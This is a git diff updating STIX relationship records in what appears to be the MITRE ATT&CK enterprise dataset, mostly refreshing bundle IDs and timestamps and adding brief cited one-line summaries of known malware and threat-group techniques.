+                {
+                    "source_name": "Cobalt Strike DCOM Jan 2017",
+                    "description": "Mudge, R. (2017, January 24). Scripting Matt Nelson\u2019s MMC20.Application Lateral Movement Technique. Retrieved November 21, 2017.",
+                    "url": "https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8.json b/enterprise-attack/relationship/relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8.json
index f01d843746..f94102aa1c 100644
--- a/enterprise-attack/relationship/relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8.json
+++ b/enterprise-attack/relationship/relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e78f38c-3e07-49ae-8230-38c3ee0fbaf4",
+    "id": "bundle--92e71d5e-28a3-43ab-9b54-62ddb6db9922",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc.json b/enterprise-attack/relationship/relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc.json
index 568660e86c..a537eb47ec 100644
--- a/enterprise-attack/relationship/relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc.json
+++ b/enterprise-attack/relationship/relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c45f3b49-7b22-4fd3-8f1f-4533ea1df304",
+    "id": "bundle--3fec39da-42d3-46d9-8ea4-ad1b061b1eea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b6da092-7380-4bd3-bd4c-f136a5b9b4cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sykipot is known to contain functionality that enables targeting of smart card technologies to proxy authentication for connections to restricted network resources using detected hardware tokens.",
             "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
diff --git a/enterprise-attack/relationship/relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923.json b/enterprise-attack/relationship/relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923.json
index d9ce709e2b..6c1fd56739 100644
--- a/enterprise-attack/relationship/relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923.json
+++ b/enterprise-attack/relationship/relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--39340efc-fc71-47b5-818e-e10c9b922ae8",
+    "id": "bundle--4a92c578-ad18-4e76-9add-f39656fbed1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2b97e16e-8c39-4e5e-ad90-15c10f15d923",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer exfiltrates collected files via removable media from air-gapped victims.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
diff --git a/enterprise-attack/relationship/relationship--2be17426-9704-4913-981b-6d8fe4471147.json b/enterprise-attack/relationship/relationship--2be17426-9704-4913-981b-6d8fe4471147.json
index f4589e4aca..5072c0132f 100644
--- a/enterprise-attack/relationship/relationship--2be17426-9704-4913-981b-6d8fe4471147.json
+++ b/enterprise-attack/relationship/relationship--2be17426-9704-4913-981b-6d8fe4471147.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c9ccd926-d37f-40cf-98df-4ce5ec57ec91",
+    "id": "bundle--8b27d744-284f-40cb-a436-83ba9e17c541",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2be17426-9704-4913-981b-6d8fe4471147",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NetTraveler contains a keylogger.",
             "source_ref": "malware--cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e",
diff --git a/enterprise-attack/relationship/relationship--2c09a27c-2eea-4287-9908-964533234e71.json b/enterprise-attack/relationship/relationship--2c09a27c-2eea-4287-9908-964533234e71.json
index 6236797075..f6c05e0f91 100644
--- a/enterprise-attack/relationship/relationship--2c09a27c-2eea-4287-9908-964533234e71.json
+++ b/enterprise-attack/relationship/relationship--2c09a27c-2eea-4287-9908-964533234e71.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f27595eb-a25f-4502-b8a2-7717c5c080af",
+    "id": "bundle--1ff5fe81-1bb4-414c-84fd-8de4121bcd8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c09a27c-2eea-4287-9908-964533234e71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to find files and directories with native functionality such as <code>dir</code> commands.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a.json b/enterprise-attack/relationship/relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a.json
index 77ca1d5a95..ccfda5208a 100644
--- a/enterprise-attack/relationship/relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a.json
+++ b/enterprise-attack/relationship/relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4144cfee-15b5-489c-b4f8-e8c2c2475914",
+    "id": "bundle--5c02afc0-d672-4ba3-9860-c6c4f16a6d91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c0fe330-edcf-4519-a577-c3c9b086d60a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173",
             "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
diff --git a/enterprise-attack/relationship/relationship--2c158663-599b-45a8-b946-6d545206428d.json b/enterprise-attack/relationship/relationship--2c158663-599b-45a8-b946-6d545206428d.json
index 9928065fd9..c32258e361 100644
--- a/enterprise-attack/relationship/relationship--2c158663-599b-45a8-b946-6d545206428d.json
+++ b/enterprise-attack/relationship/relationship--2c158663-599b-45a8-b946-6d545206428d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd58d74c-e725-4947-81f6-bd321f489991",
+    "id": "bundle--b2d2800e-1a9f-401f-a42f-e6621233c5cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c158663-599b-45a8-b946-6d545206428d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Emissary has the capability to create a remote shell and execute specified commands.",
             "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
diff --git a/enterprise-attack/relationship/relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd.json b/enterprise-attack/relationship/relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd.json
index c6b2192246..0136b6bada 100644
--- a/enterprise-attack/relationship/relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd.json
+++ b/enterprise-attack/relationship/relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9899c1a4-9ebe-4af2-8b69-f85f8229359f",
+    "id": "bundle--dd3d2a11-8ac6-48e6-b257-2a1fea0dda92",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hikit performs XOR encryption.",
             "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
diff --git a/enterprise-attack/relationship/relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5.json b/enterprise-attack/relationship/relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5.json
index 1b44d544b8..46d117952a 100644
--- a/enterprise-attack/relationship/relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5.json
+++ b/enterprise-attack/relationship/relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56fb18d9-fc59-4724-a119-86821893488a",
+    "id": "bundle--fbc746ac-b945-4c56-810e-700c2ebfe063",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c417522-9fa6-4f95-b9d6-062c9c2401b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike's \"beacon\" payload can collect information on process details.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58.json b/enterprise-attack/relationship/relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58.json
index 1857b4b52d..894e5a66b3 100644
--- a/enterprise-attack/relationship/relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58.json
+++ b/enterprise-attack/relationship/relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e89d3cbd-eafa-4786-8f43-f80c25e6beb2",
+    "id": "bundle--b076f597-03e9-4314-bf60-8e255d524a1d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c48f039-61f7-4af4-974b-f0e0fcf95f58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PlugX can be configured to use multiple network protocols to avoid network-based detection.",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--2c586158-d02b-468a-bee8-04e1bde320e1.json b/enterprise-attack/relationship/relationship--2c586158-d02b-468a-bee8-04e1bde320e1.json
index cb17cf3150..ffe7cd9adb 100644
--- a/enterprise-attack/relationship/relationship--2c586158-d02b-468a-bee8-04e1bde320e1.json
+++ b/enterprise-attack/relationship/relationship--2c586158-d02b-468a-bee8-04e1bde320e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0ab5e017-465d-42d0-a52a-7ba252af5b97",
+    "id": "bundle--d82fd565-5a16-4b7f-9d60-f6340a75c4e2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2c586158-d02b-468a-bee8-04e1bde320e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy has gathered a process list by using Tasklist.exe.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Nov 2014",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/67353/be2-custom-plugins-router-abuse-and-target-profiles/"
+                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--2c79282f-5e60-48b9-962a-d61c3d73b334.json b/enterprise-attack/relationship/relationship--2c79282f-5e60-48b9-962a-d61c3d73b334.json
new file mode 100644
index 0000000000..394c4a5219
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2c79282f-5e60-48b9-962a-d61c3d73b334.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--dbdaf95d-0bb1-473f-8216-7a3f88eb6528",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2c79282f-5e60-48b9-962a-d61c3d73b334",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used a command-line interface for execution.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf.json b/enterprise-attack/relationship/relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf.json
index 6394fa160b..214c4e5609 100644
--- a/enterprise-attack/relationship/relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf.json
+++ b/enterprise-attack/relationship/relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0dbfe178-9507-43fd-83a3-712699a3c8bf",
+    "id": "bundle--606c6c41-5832-48c0-93bb-88d00aacd567",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has installed updates and new malware on victims.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--2ccda6d1-5196-4e22-b94a-01c3676fecc9.json b/enterprise-attack/relationship/relationship--2ccda6d1-5196-4e22-b94a-01c3676fecc9.json
new file mode 100644
index 0000000000..3633a6125a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2ccda6d1-5196-4e22-b94a-01c3676fecc9.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f27a2883-ae34-474a-8153-70e94a3a96c7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2ccda6d1-5196-4e22-b94a-01c3676fecc9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 has frequently used Web shells, often to maintain access to a victim network.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2cfa6113-1995-494a-b767-61d3f371e0ea.json b/enterprise-attack/relationship/relationship--2cfa6113-1995-494a-b767-61d3f371e0ea.json
index ae040b94c0..1d4c09e104 100644
--- a/enterprise-attack/relationship/relationship--2cfa6113-1995-494a-b767-61d3f371e0ea.json
+++ b/enterprise-attack/relationship/relationship--2cfa6113-1995-494a-b767-61d3f371e0ea.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--575351fc-3e2d-486d-bd51-c3b7e2c65e78",
+    "id": "bundle--fa3958fe-1a90-407c-8d4f-b6b73d51c6b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the group name of the logged-in user and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb.json b/enterprise-attack/relationship/relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb.json
index 2a98a6cb32..9582d00947 100644
--- a/enterprise-attack/relationship/relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb.json
+++ b/enterprise-attack/relationship/relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a43845b-96ef-48d6-8ddb-bef9b77397b1",
+    "id": "bundle--dfa01222-23d0-476c-9151-7b357a4634a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 deletes shadow copies from the victim.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a.json b/enterprise-attack/relationship/relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a.json
index b645e70604..d2922a3e8f 100644
--- a/enterprise-attack/relationship/relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a.json
+++ b/enterprise-attack/relationship/relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af7b9416-2cff-41d8-ab87-dc7e1d29a1f6",
+    "id": "bundle--bff31b17-1151-450e-96bc-7bea64094ae0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2d450e2f-25c9-49af-b83f-6c91029ed28a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.039Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT28 can deploy a tool to perform keylogging.",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
diff --git a/enterprise-attack/relationship/relationship--2d4d634d-ed13-462a-916b-94798546ec6c.json b/enterprise-attack/relationship/relationship--2d4d634d-ed13-462a-916b-94798546ec6c.json
index fa9ee04251..fdf5741e19 100644
--- a/enterprise-attack/relationship/relationship--2d4d634d-ed13-462a-916b-94798546ec6c.json
+++ b/enterprise-attack/relationship/relationship--2d4d634d-ed13-462a-916b-94798546ec6c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--20070f20-e3f8-4e31-b80d-691cb17ff9f1",
+    "id": "bundle--5ebeafee-0092-43bb-96a8-038825fe7ccd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2d4d634d-ed13-462a-916b-94798546ec6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise configures itself as a service.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--2d659138-90e5-4b67-8956-02120d99506f.json b/enterprise-attack/relationship/relationship--2d659138-90e5-4b67-8956-02120d99506f.json
index 9051dd0dce..2baa8aa603 100644
--- a/enterprise-attack/relationship/relationship--2d659138-90e5-4b67-8956-02120d99506f.json
+++ b/enterprise-attack/relationship/relationship--2d659138-90e5-4b67-8956-02120d99506f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--64c000ec-c8f4-4461-a0cb-58b8b526aa21",
+    "id": "bundle--306b2813-aa62-468c-9e90-f416d286575d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2d659138-90e5-4b67-8956-02120d99506f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT uses HTTP for command and control.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--2d840d1b-28d7-4387-86fd-6d3df8650171.json b/enterprise-attack/relationship/relationship--2d840d1b-28d7-4387-86fd-6d3df8650171.json
new file mode 100644
index 0000000000..17a1d870be
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2d840d1b-28d7-4387-86fd-6d3df8650171.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--598b8880-d0a9-476d-925e-db954c55ecdc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2d840d1b-28d7-4387-86fd-6d3df8650171",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used a tool to capture screenshots.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f.json b/enterprise-attack/relationship/relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f.json
new file mode 100644
index 0000000000..cf2f39312e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--ea4595a1-c40a-4da8-8e44-dc272b55641b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth encrypts data sent to its C2 server over HTTP with RC4.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--2db406cf-667d-4ad6-b768-7645f6663ac9.json b/enterprise-attack/relationship/relationship--2db406cf-667d-4ad6-b768-7645f6663ac9.json
index 2549243b7d..e2daf1bc65 100644
--- a/enterprise-attack/relationship/relationship--2db406cf-667d-4ad6-b768-7645f6663ac9.json
+++ b/enterprise-attack/relationship/relationship--2db406cf-667d-4ad6-b768-7645f6663ac9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--edb82072-2046-4d37-b3cb-828650fd9ca1",
+    "id": "bundle--fca7f422-0ac2-4750-9127-2375201dbc40",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2db406cf-667d-4ad6-b768-7645f6663ac9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on accounts and permissions.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--2db640ab-413b-4c49-9842-3bf190c5e184.json b/enterprise-attack/relationship/relationship--2db640ab-413b-4c49-9842-3bf190c5e184.json
index 686fc429ed..090fa07e6b 100644
--- a/enterprise-attack/relationship/relationship--2db640ab-413b-4c49-9842-3bf190c5e184.json
+++ b/enterprise-attack/relationship/relationship--2db640ab-413b-4c49-9842-3bf190c5e184.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4574f722-6d66-4100-a6c1-0fb11140729d",
+    "id": "bundle--86614903-de7c-4ef5-80ee-08691b395b1f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--2db640ab-413b-4c49-9842-3bf190c5e184",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
